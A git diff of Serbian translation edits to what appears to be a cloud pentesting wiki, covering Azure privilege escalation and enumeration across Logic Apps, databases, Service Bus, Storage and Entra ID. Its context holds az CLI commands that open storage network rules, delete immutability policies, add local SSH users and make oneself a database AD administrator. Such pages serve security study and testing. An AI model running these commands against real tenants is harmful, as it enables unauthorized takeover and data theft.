`Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) -Sa ovim dozvolama, možete implementirati Logic App radne tokove koristeći ZIP datoteke za implementaciju. Ove dozvole omogućavaju akcije kao što su čitanje detalja aplikacije, pristup publikacionim kredencijalima, pisanje izmena i listanje konfiguracija aplikacije. Pored dozvola za pokretanje, možete ažurirati i implementirati novu Logic App sa željenim sadržajem. +Sa ovim dozvolama, možete implementirati Logic App radne tokove koristeći ZIP datoteke za implementaciju. Ove dozvole omogućavaju akcije kao što su čitanje detalja aplikacije, pristup publikacionim akreditivima, pisanje izmena i listanje konfiguracija aplikacije. Pored dozvola za pokretanje, možete ažurirati i implementirati novu Logic App sa željenim sadržajem. ```bash az logicapp deployment source config-zip \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index 7c031e496..a78095703 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -37,7 +37,7 @@ az mysql flexible-server update --resource-group --server- ``` ### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` -Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za MySQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dodeljuje potpuna administrativna kontrola nad MySQL serverom. Važno je da fleksibilni server ima dodeljene upravljane identitete za korišćenje. +Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za MySQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dodeljuje potpuna administrativna kontrola nad MySQL serverom. Važno je da fleksibilni server ima dodeljene korisničke upravljane identitete za korišćenje. ```bash az mysql flexible-server ad-admin create \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 44f2849dd..ddedc6d29 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -11,7 +11,7 @@ Za više informacija o SQL bazi podataka pogledajte: ### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` -Sa ovom dozvolom, možete kreirati, ažurirati ili brisati PostgreSQL Flexible Server instance na Azure-u. To uključuje obezbeđivanje novih servera, modifikovanje konfiguracija postojećih servera ili ukidanje servera. +Sa ovom dozvolom, možete kreirati, ažurirati ili brisati PostgreSQL Flexible Server instance na Azure-u. Ovo uključuje obezbeđivanje novih servera, modifikovanje konfiguracija postojećih servera ili ukidanje servera. ```bash az postgres flexible-server create \ --name \ @@ -39,7 +39,7 @@ az postgres flexible-server update --resource-group --serv Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za PostgreSQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dodeljuje potpuna administrativna kontrola nad PostgreSQL serverom. Ažuriranje postojećeg principala još nije podržano, tako da ako je jedan kreiran, morate ga prvo obrisati. -Važno je da fleksibilni server ima korisnički dodeljene upravljane identitete za korišćenje. +Važno je da fleksibilni server ima dodeljene upravljane identitete za korišćenje. ```bash az postgres flexible-server ad-admin create \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index cf4686ce0..f2126b326 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -12,7 +12,7 @@ Za više informacija proverite: ### Slanje poruka. Akcija: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ILI `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Možete preuzeti `PrimaryConnectionString`, koji deluje kao akreditiv za Service Bus namespace. Sa ovom konekcijom, možete se potpuno autentifikovati kao Service Bus namespace, omogućavajući vam da šaljete poruke bilo kojoj redu ili temi i potencijalno interagujete sa sistemom na načine koji bi mogli ometati operacije, predstavljati validne korisnike ili ubrizgati zlonamerne podatke u tok poruka. +Možete preuzeti `PrimaryConnectionString`, koji deluje kao akreditiv za Service Bus namespace. Sa ovom konekcionom stringom, možete se potpuno autentifikovati kao Service Bus namespace, omogućavajući vam da šaljete poruke bilo kojoj redu ili temi i potencijalno interagujete sa sistemom na načine koji bi mogli ometati operacije, predstavljati validne korisnike ili ubrizgavati zlonamerne podatke u tok poruka. ```python #You need to install the following libraries #pip install azure-servicebus @@ -129,7 +129,7 @@ print("----------------------------") ``` ### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -Ako imate ove dozvole, možete eskalirati privilegije čitanjem ili kreiranjem zajedničkih pristupnih ključeva. Ovi ključevi omogućavaju potpunu kontrolu nad Service Bus imenom prostora, uključujući upravljanje redovima, temama i slanje/primanje poruka, potencijalno zaobilazeći kontrole pristupa zasnovane na rolama (RBAC). +Ako imate ove dozvole, možete eskalirati privilegije čitanjem ili kreiranjem zajedničkih pristupnih ključeva. Ovi ključevi omogućavaju potpunu kontrolu nad Service Bus imenom prostora, uključujući upravljanje redovima, temama i slanje/primanje poruka, potencijalno zaobilaženje kontrole pristupa zasnovane na rolama (RBAC). ```bash az servicebus namespace authorization-rule update \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index ffd81f294..f5bdb2ced 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -4,7 +4,7 @@ ## Storage Privesc -Za više informacija o skladištu, pogledajte: +Za više informacija o skladištu, proverite: {{#ref}} ../az-services/az-storage.md @@ -26,7 +26,7 @@ az storage account keys renew --account-name --key key2 ``` ### `Microsoft.Storage/storageAccounts/write` -Princip sa ovom dozvolom će moći da kreira ili ažurira postojeći nalog za skladištenje, ažurirajući bilo koju postavku kao što su pravila mreže ili politike. +Principal sa ovom dozvolom će moći da kreira ili ažurira postojeći nalog za skladištenje, ažurirajući bilo koju postavku kao što su pravila mreže ili politike. ```bash # e.g. set default action to allow so network restrictions are avoided az storage account update --name --default-action Allow @@ -41,7 +41,7 @@ az storage account update --name --add networkRuleSet.ipRules value=< Prvo dopuštenje omogućava **modifikaciju politika nepromenljivosti** u kontejnerima, a drugo da ih obrišete. > [!NOTE] -> Imajte na umu da ako je politika nepromenljivosti u stanju zaključavanja, ne možete izvršiti nijednu od dve opcije. +> Imajte na umu da ako je politika nepromenljivosti u stanju zaključavanja, ne možete izvršiti nijednu od dve radnje. ```bash az storage container immutability-policy delete \ --account-name \ @@ -70,7 +70,7 @@ Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da izvršava akcije un ### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -Sa ovom dozvolom, napadač može da kreira i ažurira (ako ima `Microsoft.Storage/storageAccounts/localusers/read` dozvolu) novog lokalnog korisnika za Azure Storage nalog (konfigurisano sa hijerarhijskim imenskim prostorom), uključujući određivanje dozvola korisnika i početnog direktorijuma. Ova dozvola je značajna jer omogućava napadaču da sebi dodeli pristup storage nalogu sa specifičnim dozvolama kao što su čitanje (r), pisanje (w), brisanje (d) i listanje (l) i još mnogo toga. Dodatno, metode autentifikacije koje se koriste mogu biti Azure-generisane lozinke i SSH ključevi. Nema provere da li korisnik već postoji, tako da možete prepisati druge korisnike koji su već prisutni. Napadač bi mogao da eskalira svoje privilegije i dobije SSH pristup storage nalogu, potencijalno izlažući ili kompromitujući osetljive podatke. +Sa ovom dozvolom, napadač može da kreira i ažurira (ako ima `Microsoft.Storage/storageAccounts/localusers/read` dozvolu) novog lokalnog korisnika za Azure Storage nalog (konfigurisano sa hijerarhijskom imenskom prostorom), uključujući određivanje dozvola korisnika i početnog direktorijuma. Ova dozvola je značajna jer omogućava napadaču da sebi dodeli pristup storage nalogu sa specifičnim dozvolama kao što su čitanje (r), pisanje (w), brisanje (d) i listanje (l) i još mnogo toga. Dodatno, metode autentifikacije koje se koriste mogu biti Azure-generisane lozinke i SSH ključevi. Nema provere da li korisnik već postoji, tako da možete prepisati druge korisnike koji su već prisutni. Napadač bi mogao da eskalira svoje privilegije i dobije SSH pristup storage nalogu, potencijalno izlažući ili kompromitujući osetljive podatke. ```bash az storage account local-user create \ --account-name \ @@ -82,7 +82,7 @@ az storage account local-user create \ ``` ### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` -Sa ovom dozvolom, napadač može regenerisati lozinku za lokalnog korisnika u Azure Storage nalogu. Ovo omogućava napadaču da dobije nove autentifikacione kredencijale (kao što su SSH ili SFTP lozinka) za korisnika. Korišćenjem ovih kredencijala, napadač bi mogao dobiti neovlašćen pristup storage nalogu, izvršiti transfer fajlova ili manipulisati podacima unutar storage kontejnera. To bi moglo rezultirati curenjem podataka, oštećenjem ili zlonamernom izmenom sadržaja storage naloga. +Sa ovom dozvolom, napadač može regenerisati lozinku za lokalnog korisnika u Azure Storage nalogu. Ovo omogućava napadaču da dobije nove autentifikacione kredencijale (kao što su SSH ili SFTP lozinka) za korisnika. Korišćenjem ovih kredencijala, napadač bi mogao dobiti neovlašćen pristup storage nalogu, izvršiti transfer fajlova ili manipulisati podacima unutar storage kontejnera. Ovo bi moglo rezultirati curenjem podataka, oštećenjem ili zlonamernom izmenom sadržaja storage naloga. ```bash az storage account local-user regenerate-password \ --account-name \ @@ -96,7 +96,7 @@ sftp .@.blob.core.w ``` ### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` -Sa ovim dozvolama, napadač može da vrati obrisani kontejner tako što će navesti njegov ID obrisane verzije ili da vrati specifične blobove unutar kontejnera, ako su prethodno bili soft-deleted. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa. +Sa ovim dozvolama, napadač može da vrati obrisani kontejner tako što će navesti njegov ID obrisane verzije ili da ponovo aktivira specifične blobove unutar kontejnera, ako su prethodno bili soft-deleted. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa. ```bash #Restore the soft deleted container az storage container restore \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index ceef51b59..c8c43e15a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -6,7 +6,7 @@ Azure Active Directory (Azure AD) služi kao Microsoftova usluga zasnovana na oblaku za upravljanje identitetom i pristupom. Ona je ključna za omogućavanje zaposlenima da se prijave i dobiju pristup resursima, kako unutar tako i van organizacije, uključujući Microsoft 365, Azure portal i brojne druge SaaS aplikacije. Dizajn Azure AD se fokusira na pružanje osnovnih usluga identiteta, posebno uključujući **autentifikaciju, autorizaciju i upravljanje korisnicima**. -Ključne karakteristike Azure AD uključuju **višefaktorsku autentifikaciju** i **uslovni pristup**, uz besprekornu integraciju sa drugim Microsoftovim bezbednosnim uslugama. Ove karakteristike značajno povećavaju bezbednost korisničkih identiteta i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema usluga u oblaku, Azure AD je ključan za upravljanje korisničkim identitetima zasnovano na oblaku. +Ključne karakteristike Azure AD uključuju **višefaktorsku autentifikaciju** i **uslovni pristup**, uz besprekornu integraciju sa drugim Microsoftovim bezbednosnim uslugama. Ove karakteristike značajno povećavaju bezbednost identiteta korisnika i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema usluga u oblaku, Azure AD je ključan za upravljanje identitetima korisnika zasnovano na oblaku. ## Enumeracija @@ -184,11 +184,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Kada se **prijavite** putem **CLI** u Azure sa bilo kojim programom, koristite **Azure aplikaciju** iz **tenanta** koji pripada **Microsoftu**. Ove aplikacije, poput onih koje možete kreirati u svom nalogu, **imaju klijent id**. **Nećete moći da vidite sve njih** u **listama dozvoljenih aplikacija** koje možete videti u konzoli, **ali su podrazumevano dozvoljene**. +Kada se **prijavite** putem **CLI** u Azure sa bilo kojim programom, koristite **Azure aplikaciju** iz **tenanta** koji pripada **Microsoftu**. Ove aplikacije, poput onih koje možete kreirati u svom nalogu, **imaju klijent ID**. **Nećete moći da vidite sve njih** u **listama dozvoljenih aplikacija** koje možete videti u konzoli, **ali su podrazumevano dozvoljene**. -Na primer, **powershell skripta** koja **autentifikuje** koristi aplikaciju sa klijent id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin bi mogao da **blokira tu aplikaciju** kako korisnici ne bi mogli da pristupaju koristeći alate koji se povezuju putem te aplikacije. +Na primer, **powershell skripta** koja **autentifikuje** koristi aplikaciju sa klijent ID **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin može **blokirati tu aplikaciju** tako da korisnici ne mogu pristupiti koristeći alate koji se povezuju putem te aplikacije. -Međutim, postoje **drugi klijent-ids** aplikacija koje **će vam omogućiti da se povežete na Azure**: +Međutim, postoje **drugi klijent-IDs** aplikacija koje **će vam omogućiti da se povežete na Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -Preporučuje se da se doda MFA za svakog korisnika, međutim, neke kompanije to neće postaviti ili će možda postaviti uz Conditional Access: Korisnik će biti **required MFA if** se prijavi sa određene lokacije, pretraživača ili **neke uslove**. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne **bypasses**. Proverite: +Preporučuje se da se doda MFA za svakog korisnika, međutim, neke kompanije to neće postaviti ili će možda postaviti uz Conditional Access: Korisnik će biti **required MFA if** se prijavi sa određene lokacije, pretraživača ili **some condition**. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne **bypasses**. Proverite: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -487,7 +487,7 @@ Vlasnici grupe mogu dodavati nove korisnike u grupu Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Grupe mogu biti dinamične, što u osnovi znači da **ako korisnik ispuni određene uslove, biće dodat u grupu**. Naravno, ako su uslovi zasnovani na **atributima** koje **korisnik** može **kontrolisati**, mogao bi zloupotrebiti ovu funkciju da **uđe u druge grupe**.\ +> Grupe mogu biti dinamične, što u suštini znači da **ako korisnik ispunjava određene uslove, biće dodat u grupu**. Naravno, ako su uslovi zasnovani na **atributima** koje **korisnik** može **kontrolisati**, mogao bi zloupotrebiti ovu funkciju da **uđe u druge grupe**.\ > Proverite kako zloupotrebiti dinamične grupe na sledećoj stranici: {{#ref}} @@ -716,7 +716,7 @@ Za više informacija o Aplikacijama proverite: Kada se aplikacija generiše, dodeljuju se 2 tipa dozvola: -- **Dozvole** dodeljene **Servisnom Principal** +- **Dozvole** dodeljene **Servisnom Principalu** - **Dozvole** koje **aplikacija** može imati i koristiti **u ime korisnika**. {{#tabs }} @@ -796,8 +796,8 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * > Za više informacija [**proverite ovo**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Tajni niz koji aplikacija koristi da dokaže svoj identitet prilikom zahteva za token je lozinka aplikacije.\ -> Dakle, ako pronađete ovu **lozinku** možete pristupiti kao **service principal** **unutar** **tenanta**.\ +> Tajni niz koji aplikacija koristi da dokaže svoj identitet prilikom traženja tokena je lozinka aplikacije.\ +> Dakle, ako pronađete ovu **lozinku**, možete pristupiti kao **service principal** **unutar** **tenanta**.\ > Imajte na umu da je ova lozinka vidljiva samo kada je generisana (možete je promeniti, ali je ne možete ponovo dobiti).\ > **Vlasnik** **aplikacije** može **dodati lozinku** (tako da može da se pretvara da je ona).\ > Prijave kao ovi service principals **nisu označene kao rizične** i **neće imati MFA.** @@ -911,7 +911,7 @@ Headers = @{ ### Entra ID Uloge -Za više informacija o Azure ulogama pogledajte: +Za više informacija o Azure ulogama proverite: {{#ref}} ../az-basic-information/ @@ -1088,10 +1088,10 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ### Upravljanje Privilegovanim Identitetima (PIM) -Upravljanje Privilegovanim Identitetima (PIM) u Azure pomaže da se **spreči dodeljivanje prekomernih privilegija** korisnicima bez potrebe. +Upravljanje Privilegovanim Identitetima (PIM) u Azure pomaže da se **spreči dodeljivanje prekomernih privilegija** korisnicima nepotrebno. Jedna od glavnih funkcija koju PIM pruža je da omogućava da se ne dodeljuju uloge principima koji su konstantno aktivni, već da ih učini **prikladnim na određeni vremenski period (npr. 6 meseci)**. Tada, kada korisnik želi da aktivira tu ulogu, mora da je zatraži navodeći vreme koje mu je potrebno za privilegiju (npr. 3 sata). Tada **administrator mora da odobri** zahtev.\ -Napomena: korisnik će takođe moći da zatraži da se **produži** vreme. +Napomena: korisnik će takođe moći da zatraži da se **prolongira** vreme. Pored toga, **PIM šalje emailove** svaki put kada se privilegovana uloga dodeljuje nekome. @@ -1100,11 +1100,11 @@ Pored toga, **PIM šalje emailove** svaki put kada se privilegovana uloga dodelj Kada je PIM omogućen, moguće je konfigurisati svaku ulogu sa određenim zahtevima kao što su: - Maksimalno trajanje (sati) aktivacije -- Zahtevati MFA prilikom aktivacije -- Zahtevati kontekst autentifikacije uslovnog pristupa -- Zahtevati opravdanje prilikom aktivacije -- Zahtevati informacije o tiketu prilikom aktivacije -- Zahtevati odobrenje za aktivaciju +- Zahteva MFA prilikom aktivacije +- Zahteva kontekst autentifikacije uslovnog pristupa +- Zahteva opravdanje prilikom aktivacije +- Zahteva informacije o tiketu prilikom aktivacije +- Zahteva odobrenje za aktivaciju - Maksimalno vreme za isteknuće prikladnih dodela - Puno više konfiguracije o tome kada i kome slati obaveštenja kada se određene radnje dogode sa tom ulogom @@ -1118,9 +1118,9 @@ Proverite: ### Entra Zaštita Identiteta -Entra Zaštita Identiteta je bezbednosna usluga koja omogućava **otkrivanje kada je korisnik ili prijavljivanje previše rizično** da bi bilo prihvaćeno, omogućavajući da se **blokira** korisnik ili pokušaj prijavljivanja. +Entra Zaštita Identiteta je bezbednosna usluga koja omogućava da se **otkrije kada je korisnik ili prijavljivanje previše rizično** da bi bilo prihvaćeno, omogućavajući da se **blokira** korisnik ili pokušaj prijavljivanja. -Omogućava administratoru da je konfiguriše da **blokira** pokušaje kada je rizik "Nizak i iznad", "Srednji i iznad" ili "Visok". Iako je po defaultu potpuno **onemogućena**: +Omogućava administratoru da je konfiguriše da **blokira** pokušaje kada je rizik "Nizak i iznad", "Srednji i iznad" ili "Visok". Iako, po defaultu je potpuno **onemogućena**:
@@ -1132,7 +1132,7 @@ Omogućava administratoru da je konfiguriše da **blokira** pokušaje kada je ri Entra Zaštita Lozinki ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) je bezbednosna funkcija koja **pomaže u sprečavanju zloupotrebe slabih lozinki tako što zaključava naloge kada se dogodi nekoliko neuspešnih pokušaja prijavljivanja**.\ Takođe omogućava da se **zabranjuje prilagođena lista lozinki** koju treba da obezbedite. -Može se **primeniti i na** nivou oblaka i na lokalnom Active Directory-ju. +Može se **primeniti i** na nivou oblaka i na lokalnom Active Directory-ju. Podrazumevani režim je **Revizija**: diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 9658bfc77..9da45ea7d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -13,8 +13,8 @@ Nema dozvola dodeljenih ovoj usluzi, stoga nema tehnika eskalacije privilegija. **Okruženje**: Azure Cloud Shell pruža sigurno okruženje pokretanjem na Azure Linux, Microsoftovoj vlastitoj Linux distribuciji dizajniranoj za cloud infrastrukturu. Svi paketi uključeni u Azure Linux repozitorijum su interno kompajlirani od strane Microsofta kako bi se zaštitili od napada na lanac snabdevanja. **Preinstalirani alati**: Cloud Shell uključuje sveobuhvatan set preinstaliranih alata kao što su Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git i tekstualni editori poput vim, nano i emacs. Ovi alati su spremni za korišćenje. Da biste naveli instalirane pakete i module, možete koristiti "Get-Module -ListAvailable", "tdnf list" i "pip3 list". **$HOME postojanost**: Kada prvi put pokrenete Azure Cloud Shell, možete ga koristiti sa ili bez povezanog naloga za skladištenje. Odabirom da ne povežete skladište stvara se ephemerna sesija u kojoj se datoteke brišu kada sesija završi. Da biste sačuvali datoteke između sesija, montirajte nalog za skladištenje, koji se automatski povezuje kao **$HOME\clouddrive**, sa vašim **$HOME** direktorijumom sačuvanim kao **.img** datoteka u Azure File Share. Međutim, datoteke van $HOME i stanja mašine se ne čuvaju. Za sigurno čuvanje tajni poput SSH ključeva, koristite Azure Key Vault. -**Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima poput Compute, Network i Storage koristeći komande slične datotečnom sistemu. Prebacite se na Azure disk sa cd Azure: i vratite se u svoj kućni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska. -**Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoju postavku svojim specifičnim potrebama. +**Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima poput Compute, Network i Storage koristeći komande slične datotečnom sistemu. Pređite na Azure disk sa cd Azure: i vratite se u svoj kućni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska. +**Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoj setup svojim specifičnim potrebama. ## Reference diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 7a75c5715..51e40b11c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -19,7 +19,7 @@ https://.documents.azure.com:443/ Unutar naloga, možete kreirati jednu ili više baza podataka, koje služe kao logičke grupe kontejnera. Baza podataka deluje kao granica za upravljanje resursima i korisničkim dozvolama. Baze podataka mogu deliti obezbeđeni protok između svojih kontejnera ili dodeliti posvećeni protok pojedinačnim kontejnerima. #### Kontejneri -Osnovna jedinica skladištenja podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisani ključ particije. Ključ particije je ključan za osiguranje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može čuvati podatke o kupcima, sa "customerId" kao ključem particije. +Osnovna jedinica za skladištenje podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisani ključ particije. Ključ particije je ključan za obezbeđivanje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može čuvati podatke o kupcima, sa "customerId" kao ključem particije. #### Enumeracija @@ -110,7 +110,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -A #### Povezivanje -Za povezivanje je potrebna biblioteka azure-cosmosDB (pip install azure-cosmos). Pored toga, krajnja tačka i ključ su ključne komponente za uspostavljanje veze. +Za povezivanje je potrebna azure-cosmosDB (pip install azure-cosmos) biblioteka. Pored toga, krajnja tačka i ključ su ključne komponente za uspostavljanje veze. ```python from azure.cosmos import CosmosClient, PartitionKey @@ -183,7 +183,7 @@ mongodb://:/ U MongoDB-u, možete kreirati jednu ili više baza podataka unutar instance. Svaka baza podataka služi kao logička grupa kolekcija i pruža granicu za organizaciju i upravljanje resursima. Baze podataka pomažu u logičkom razdvajanju i upravljanju podacima, kao što su za različite aplikacije ili projekte. #### Kolekcije -Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržati operacije visokog protoka preko više čvorova u distribuiranom okruženju. +Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržavati operacije sa visokim protokom preko više čvorova u distribuiranom okruženju. #### Enumeracija diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index 9a8054a5a..0fcaf6f04 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -4,29 +4,29 @@ ## Osnovne informacije -**Azure Files** je potpuno upravljana usluga skladištenja datoteka u oblaku koja pruža deljeno skladištenje datoteka dostupno putem standardnih **SMB (Server Message Block)** i **NFS (Network File System)** protokola. Iako je glavni korišćeni protokol SMB, NFS Azure deljenja datoteka nisu podržana za Windows (prema [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Omogućava vam da kreirate visoko dostupna mrežna deljenja datoteka koja mogu biti istovremeno dostupna više virtuelnih mašina (VM) ili lokalnih sistema, omogućavajući besprekorno deljenje datoteka između okruženja. +**Azure Files** je potpuno upravljana usluga skladištenja datoteka u oblaku koja pruža deljeno skladištenje datoteka dostupno putem standardnih **SMB (Server Message Block)** i **NFS (Network File System)** protokola. Iako je glavni korišćeni protokol SMB, NFS Azure deljenja datoteka nisu podržana za Windows (prema [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Omogućava vam da kreirate visoko dostupna mrežna deljenja datoteka koja mogu biti istovremeno dostupna više virtuelnih mašina (VM) ili lokalnih sistema, omogućavajući besprekornu razmenu datoteka između okruženja. ### Tiers pristupa - **Optimizovano za transakcije**: Optimizovano za operacije sa velikim brojem transakcija. - **Vruće**: Između transakcija i skladištenja. - **Hladno**: Ekonomično za skladištenje. -- **Premium:** Skladištenje datoteka visokih performansi optimizovano za radne opterećenja sa niskom latencijom i visokim IOPS. +- **Premium:** Skladištenje datoteka visokih performansi optimizovano za radne opterećenja sa niskom latencijom i IOPS-intenzivnim zadacima. -### Backup +### Bekap -- **Dnevni backup**: Tačka backup-a se kreira svakog dana u određenom vremenu (npr. 19.30 UTC) i čuva se od 1 do 200 dana. -- **Nedeljni backup**: Tačka backup-a se kreira svake nedelje u određenom danu i vremenu (nedeljom u 19.30) i čuva se od 1 do 200 nedelja. -- **Mesečni backup**: Tačka backup-a se kreira svakog meseca u određenom danu i vremenu (npr. prva nedelja u mesecu u 19.30) i čuva se od 1 do 120 meseci. -- **Godišnji backup**: Tačka backup-a se kreira svake godine u određenom danu i vremenu (npr. prva nedelja u januaru u 19.30) i čuva se od 1 do 10 godina. -- Takođe je moguće izvršiti **ručne backup-e i snimke u bilo kojem trenutku**. Backup-i i snimci su zapravo isti u ovom kontekstu. +- **Dnevni bekap**: Tačka bekapa se kreira svakog dana u naznačeno vreme (npr. 19.30 UTC) i čuva se od 1 do 200 dana. +- **Nedeljni bekap**: Tačka bekapa se kreira svake nedelje u naznačen dan i vreme (nedelja u 19.30) i čuva se od 1 do 200 nedelja. +- **Mesečni bekap**: Tačka bekapa se kreira svakog meseca u naznačen dan i vreme (npr. prva nedelja u mesecu u 19.30) i čuva se od 1 do 120 meseci. +- **Godišnji bekap**: Tačka bekapa se kreira svake godine u naznačen dan i vreme (npr. prva nedelja u januaru u 19.30) i čuva se od 1 do 10 godina. +- Takođe je moguće izvršiti **ručne bekape i snimke u bilo kojem trenutku**. Bekap i snimci su zapravo isto u ovom kontekstu. ### Podržane autentifikacije putem SMB -- **Autentifikacija putem on-premises AD 